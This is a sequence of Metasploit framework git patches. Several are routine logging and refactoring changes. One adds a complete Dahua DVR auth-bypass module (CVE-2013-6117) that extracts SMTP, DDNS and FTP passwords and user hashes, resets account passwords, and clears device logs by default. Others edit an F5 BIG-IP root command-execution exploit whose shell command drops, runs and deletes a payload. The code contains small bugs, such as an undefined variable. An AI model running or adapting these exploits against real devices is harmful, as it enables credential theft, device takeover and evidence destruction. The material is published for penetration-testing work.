if (not opts[:nodelete]) - cmds << "rm -f #{@tempdir}#{@var_decoded}" - cmds << "rm -f #{@tempdir}#{@var_encoded}" + cmds << "rm -f \"#{@tempdir}#{@var_decoded}\"" + cmds << "rm -f \"#{@tempdir}#{@var_encoded}\"" end super diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 9f34c3a376..07f488ca26 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -190,7 +190,7 @@ class Metasploit3 < Msf::Post end opts = { :linemax => linemax, - #:nodelete => true # keep temp files (for debugging) + :nodelete => true # keep temp files (for debugging) } if session.platform =~ /win/i opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64') From a1ab8f1dc7ceb92bbe690d9add158088802b8b42 Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Mon, 16 Nov 2015 12:13:26 -0600 Subject: [PATCH 1213/2172] added Session info display to module output output from the mssql_local_auth_bypass module is now prefixed with the Session id and address of the target host so it is explicitly clear where it is performing each action MS-706 --- lib/msf/core/post_mixin.rb | 4 ++++ .../windows/manage/mssql_local_auth_bypass.rb | 20 +++++++++---------- 2 files changed, 14 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index f1e2a7ecbb..aab331b7d2 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -82,6 +82,10 @@ module Msf::PostMixin @session end + def session_display_info + "Session: #{session.sid} (#{session.session_host})" + end + alias :client :session # diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 02821a2512..5d14a36694 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Post instance = datastore['INSTANCE'].to_s # Display target - print_status("Running module against #{sysinfo['Computer']}") + print_status("#{session_display_info}: Running module against #{sysinfo['Computer']}") # Identify available native SQL client get_sql_client @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Post service = check_for_sqlserver(instance) fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service - print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}") + print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}") instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip if datastore['REMOVE_LOGIN'] @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Post end def add_sql_login(dbuser, dbpass, instance) - print_status("Attempting to add new login \"#{dbuser}\"...") + print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...") query = mssql_sa_escalation(username: dbuser, password: dbpass) # Get Data @@ -117,33 +117,33 @@ class Metasploit3 < Msf::Post case add_login_result when '', /new login created/i - print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") + print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") return true when /already exists/i fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists") when /password validation failed/i fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements") else - print_error("Unable to add login #{dbuser}") - print_error("Database Error:\n #{add_login_result}") + print_error("#{session_display_info}: Unable to add login #{dbuser}") + print_error("#{session_display_info}: Database Error:\n #{add_login_result}") return false end end def remove_sql_login(dbuser, instance_name) - print_status("Attempting to remove login \"#{dbuser}\"") + print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"") query = "sp_droplogin '#{dbuser}'" remove_login_result = run_sql(query, instance_name) # Display result if remove_login_result.empty? - print_good("Successfully removed login \"#{dbuser}\"") + print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"") return true else # Fail - print_error("Unabled to remove login #{dbuser}") - print_error("Database Error:\n\n #{remove_login_result}") + print_error("#{session_display_info}: Unabled to remove login #{dbuser}") + print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}") return false end end From 708cbe9479c853b1cea83712120c3ef9a2287d9b Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Mon, 16 Nov 2015 12:20:27 -0600 Subject: [PATCH 1214/2172] change the default SMBDomain to . Due to a recent change using WORKGROUP as the SMBDomain causes Trust errors. Using '.' instead works fine. --- lib/msf/core/exploit/smb/client/authenticated.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smb/client/authenticated.rb b/lib/msf/core/exploit/smb/client/authenticated.rb index 8f865afcbb..2bc94ade10 100644 --- a/lib/msf/core/exploit/smb/client/authenticated.rb +++ b/lib/msf/core/exploit/smb/client/authenticated.rb @@ -14,7 +14,7 @@ module Exploit::Remote::SMB::Client::Authenticated [ OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), ], Msf::Exploit::Remote::SMB::Client::Authenticated) end end From c4ffd7ae36f56560a7fc54fcac85b706bcdfd3f3 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 16 Nov 2015 10:38:40 -0800 Subject: [PATCH 1215/2172] When sending SOAP requests, print out proto/status/message when fail --- modules/exploits/linux/http/f5_icall_cmd.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 84444642ed..dda149f99c 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -95,11 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote if res && res.code == 200 return res elsif res - if res.code == 401 - print_error('401 Unauthorized - Check credentials') - else - print_error("#{res.code} - Unknown error") - end + print_error("HTTP/#{res.proto} #{res.code} #{res.message}") else vprint_error('No response') end From ee5d91faabc0b75c349504fdfdbe2c092d051377 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 16 Nov 2015 10:41:48 -0800 Subject: [PATCH 1216/2172] Better logging when exploit gets 401 --- modules/exploits/linux/http/f5_icall_cmd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index dda149f99c..c3fc67340a 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -217,7 +217,7 @@ class Metasploit3 < Msf::Exploit::Remote if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 - print_error('401 Unauthorized') + print_warning("HTTP/#{res.proto} #{res.status} #{res.message} -- incorrect USERNAME or PASSWORD?") return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe From d677a8b8719c0f3cfb03e796f4a0361625719a23 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Mon, 16 Nov 2015 13:54:44 -0500 Subject: [PATCH 1217/2172] Adding Dahua DVR auth bypass auxiliary scanner per CVE-2013-6117 --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 385 ++++++++++++++++++ 1 file changed, 385 insertions(+) create mode 100644 modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb new file mode 100644 index 0000000000..51d622265f --- /dev/null +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -0,0 +1,385 @@ +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Dahua DVR Auth Bypas Scanner', + 'Version' => '$Revision: 1 $', + 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', + 'Author' => [ + 'Jake Reynolds - Depth Security', #Vulnerability Discoverer + 'Tyler Bennett - Talos Infosec' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2013-6117' ], + [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] + ], + 'License' => MSF_LICENSE + ) + deregister_options('RHOST') + register_options( + [ + OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), + OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), + OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), + Opt::RPORT(37777) + ], self.class) + end + + def run_host(ip) + usercount = 0 + u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" + version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + user = "root" + pass = " w" + user8pwhash = "4WzwxXxM" #888888 + user6pwhash = "sh15yfFM" #666666 + useradminpwhash = "6QNMIQGe" #admin + connect() + sock.put(u1) + data = sock.recv(8) + disconnect() + if data == dvr_resp + print_good("DVR FOUND: @ #{rhost}:#{rport}!") + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "Dahua-based DVR") + connect() + sock.put(version) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + ver = $1 + print_status("Version: #{ver} @ #{rhost}:#{rport}!") + end + + sock.put(sn) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + serial = $1 + print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + end + + sock.put(email) + if data = sock.get(1024).split('&&') + print_status("Email Settings: @ #{rhost}:#{rport}!") + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if mailhost = $1.split(':') + print_status(" Server: #{mailhost[0]}") if !mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") if !mailhost[1].nil? + end + if !data[5].nil? and !data[6].nil? + print_good(" SMTP User: #{data[5]}") if !data[5].nil? + print_good(" SMTP Password: #{data[6]}") if !data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + print_good("MailServer: #{mailserver}") + #destemail = "#{data[1]}" if !mailhost[1].nil? + if !mailserver.to_s.strip.length == 0 and !muser.to_s.strip.length == 0 and !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, rport, muser, mpass) if ( !mailserver.nil? and !muser.nil? and !mpass.nil? ) + end + end + end + end + + sock.put(ddns) + if data = sock.get(1024) + data = data.split(/&&[0-1]&&/) + data.each_with_index { + |val, index| + if index > 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") if !val.nil? + print_status(" DDNS Server: #{ddns_server}") if !val.nil? + print_status(" DDNS Port: #{ddns_port}") if !val.nil? + print_status(" Domain: #{ddns_domain}") if !val.nil? + print_good(" Username: #{ddns_user}") if !val.nil? + print_good(" Password: #{ddns_pass}") if !val.nil? + if !ddns_server.to_s.strip.length == 0 and !ddns_port.to_s.strip.length == 0 and !ddns_user.to_s.strip.length == 0 and !ddns_pass.to_s.strip.length == 0 + + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + end + end + } + end + + sock.put(nas) + if data = sock.get(1024) + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = $1.unpack('C*').join('.') + port = $2.unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ + ftpuser = $1 + ftppass = $2 + print_good(" FTP User: #{ftpuser}") + print_good(" FTP Password: #{ftppass}") + if !ftpuser..to_s.strip.length == 0 and ftppass.to_s.strip.length == 0 + report_creds(:host => server, :port => port, :user => ftpuser, :pass => ftppass, :type => "FTP", + :active => true) if ( !server.nil? and !port.nil? and !ftpuser.nil? and !ftppass.nil? ) + end + end + end + + sock.put(channels) + data = sock.get(1024).split('&&') + disconnect() + if (data.length > 1) + print_status("Camera Channels @ #{rhost}:#{rport}!:") + data.each_with_index { + |val, index| + print_status(" #{index+1}:#{val[/([[:print:]]+)/]}") + } + end + connect() + sock.put(users) + if data = sock.get(1024).split('&&') + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each { + |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + value = pass.split(":") + username = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{username}:$dahua$#{md5hash}" + report_hash(ip, rport, user, hash) + # Write the vulnerability to the database + #unless reported_vuln + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'dvr', + :name => 'Dahua Authentication Password Hash Exposure', + :info => "Obtained password hash for user #{username}: #{md5hash}", + :refs => self.references + ) + } + end + sock.put(groups) + if data = sock.get(1024).split('&&') + print_status("User Groups: @ #{rhost}:#{rport}!") + data.each { + |val| + print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") + } + end + if (datastore['RESET']) + userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + + ":" + datastore['PASSWORD'] + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + userstring + sock.put(u1) + data = sock.get(1024) + sock.put(u2) + data = sock.get(1024) + sock.put(u3) + data = sock.get(1024) + sock.put(u1) + if data = sock.get(1024) + print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + end +# elsif (datastore['ACTION'] == "DELETE") +# u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +# delete = "\xa6\x00\x00\x00#{datastore['USERNAME'].length.chr}\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +# datastore['USERNAME'] +# print delete +# sock.send(u1, 0) +# sock.get_once +# sock.send(delete, 0) +# sock.get_once +# sock.send(u2, 0) +# sock.get_once +# +# +# elsif (datastore['ACTION'] == "ADD") +# userstring = (usercount + 1).to_s + ":" + datastore['USERNAME'] + ":" + datastore['PASSWORD'] +# userstring << "\x3a\x31\x3a\x31\x2c\x32\x2c\x33\x2c\x34\x2c\x35\x2c\x36\x2c\x37" + +# "\x2c\x38\x2c\x39\x2c\x31\x30\x2c\x31\x31\x2c\x32\x30\x2c\x32\x31" + +# "\x2c\x32\x32\x2c\x32\x33\x2c\x32\x34\x2c\x32\x35\x2c\x32\x36\x2c" + +# "\x32\x37\x2c\x32\x38\x2c\x33\x37\x2c\x33\x38\x2c\x33\x39\x2c\x34" + +# "\x30\x2c\x34\x32\x2c\x34\x33\x2c\x34\x34\x2c\x34\x35\x2c\x34\x36" + +# "\x2c\x34\x37\x2c\x34\x38\x2c\x34\x39\x2c\x35\x30\x2c\x35\x31\x2c" + +# "\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35" + +# "\x37\x2c\x35\x38\x2c\x35\x39\x2c\x36\x30\x3a\x3a\x31" +# +# u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +# u3 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +# u4 = "\xa6\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +# u5 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00" + +# "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +# userstring +# sock.put(u1) +# sock.get(1024) +# sock.put(u1) +# sock.get(1024) +# sock.put(u2) +# sock.get(1024) +# sock.put(u3) +# sock.get(1024) +# sock.put(u2) +# sock.get(1024) +# sock.put(u3) +# sock.get(1024) +# sock.put(u4) +# sock.get(1024) +# sock.put(groups) +# sock.get(1024) +# sock.put(users) +# sock.get(1024) +# sock.put(u5) +# sock.get(1024) +# sock.put(u2) +# sock.get(1024) +# sock.put(u3) +# sock.get(1024) +# sock.put(u4) +# sock.put(1024) +# sock.put(groups) +# sock.get(1024) +# sock.put(users) +# sock.put(1024) +# print_good("ADDED USER!: user #{datastore['USERNAME']}'s password is #{datastore['PASSWORD']}") +# +# else + end + + if (datastore['CLEAR_LOGS']) + sock.put(clear_logs) + sock.put(clear_logs2) + print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + end + disconnect() + end + end + + def report_hash(ip, rport, user, hash) + service_data = { + address: ip, + port: rport, + service_name: 'dahua_dvr', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'dahua_hash', + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + service_data = { + address: ddns_server, + port: ddns_port, + service_name: 'ddns settings', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: ddns_pass, + private_type: :password, + username: ddn_user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def report_email_cred(mailserver, rport, muser, mpass) + service_data = { + address: mailserver, + port: rport, + service_name: 'email settings', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: mpass, + private_type: :password, + username: muser, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + +end From 1aa1d7b5e43eb7b873681462717f58cbbc72fd04 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 16 Nov 2015 10:57:48 -0800 Subject: [PATCH 1218/2172] Use random path for payload --- modules/exploits/linux/http/f5_icall_cmd.rb | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index c3fc67340a..67f5126cc7 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -55,11 +55,17 @@ class Metasploit3 < Msf::Exploit::Remote [ OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]), OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), - OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']), + OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']), OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) ]) end + def setup + file = datastore['FILENAME'] + file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}" + @payload_path = ::File.join(datastore['PATH'], file) + end + def build_xml builder = Nokogiri::XML::Builder.new do |xml| xml.Envelope do @@ -226,13 +232,10 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. - filepath = datastore['PATH'] - filename = datastore['FILENAME'] - dest_file = filepath + '/' + filename - register_file_for_cleanup dest_file + register_file_for_cleanup @payload_path - shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}) - cmd = %(if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}) + shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path}) + cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"}) arg_max = datastore['ARG_MAX'] if shell_cmd.size > arg_max From 902951c0caacb8e2ac1945d8577232e78fb77be5 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 16 Nov 2015 11:06:45 -0800 Subject: [PATCH 1219/2172] Clean up description; Simplify SOAP code more --- modules/exploits/linux/http/f5_icall_cmd.rb | 52 ++++++++++----------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 67f5126cc7..86df148ddf 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -11,16 +11,22 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper + SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" } + STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } + def initialize(info = {}) super( update_info( info, 'Name' => "F5 iControl iCall::Script Root Command Execution", 'Description' => %q{ - This module exploits an authenticated a privilege escalation vulnerability - in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid - credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, - (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details) + This module exploits an authenticated privilege escalation + vulnerability in the iControl API on the F5 BIG-IP LTM (and likely + other F5 devices). This requires valid credentials and the Resource + Administrator role. The exploit should work on BIG-IP 11.3.0 + - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references + for more details) }, 'License' => MSF_LICENSE, 'Author' => @@ -112,13 +118,12 @@ class Metasploit3 < Msf::Exploit::Remote def create_script(cmd) scriptname = Rex::Text.rand_text_alpha_lower(5) create_xml = build_xml do |xml| - xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(string_attrs) do + xml['scr'].create(SOAPENV_ENCODINGSTYLE) do + xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end - xml.definitions(string_attrs) do + xml.definitions(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item cmd end @@ -129,9 +134,8 @@ class Metasploit3 < Msf::Exploit::Remote def delete_script(scriptname) delete_xml = build_xml do |xml| - xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(string_attrs) do + xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do + xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end @@ -142,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote def script_exists(scriptname) exists_xml = build_xml do |xml| - xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") + xml['scr'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(exists_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}") @@ -151,18 +155,16 @@ class Metasploit3 < Msf::Exploit::Remote def create_handler(scriptname, interval) handler_name = Rex::Text.rand_text_alpha_lower(5) handler_xml = build_xml do |xml| - xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.handlers(string_attrs) do + xml['per'].create(SOAPENV_ENCODINGSTYLE) do + xml.handlers(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item handler_name end - xml.scripts(string_attrs) do + xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first xml.item scriptname end - long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } - xml.intervals(long_attrs) do + xml.intervals(LONG_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first 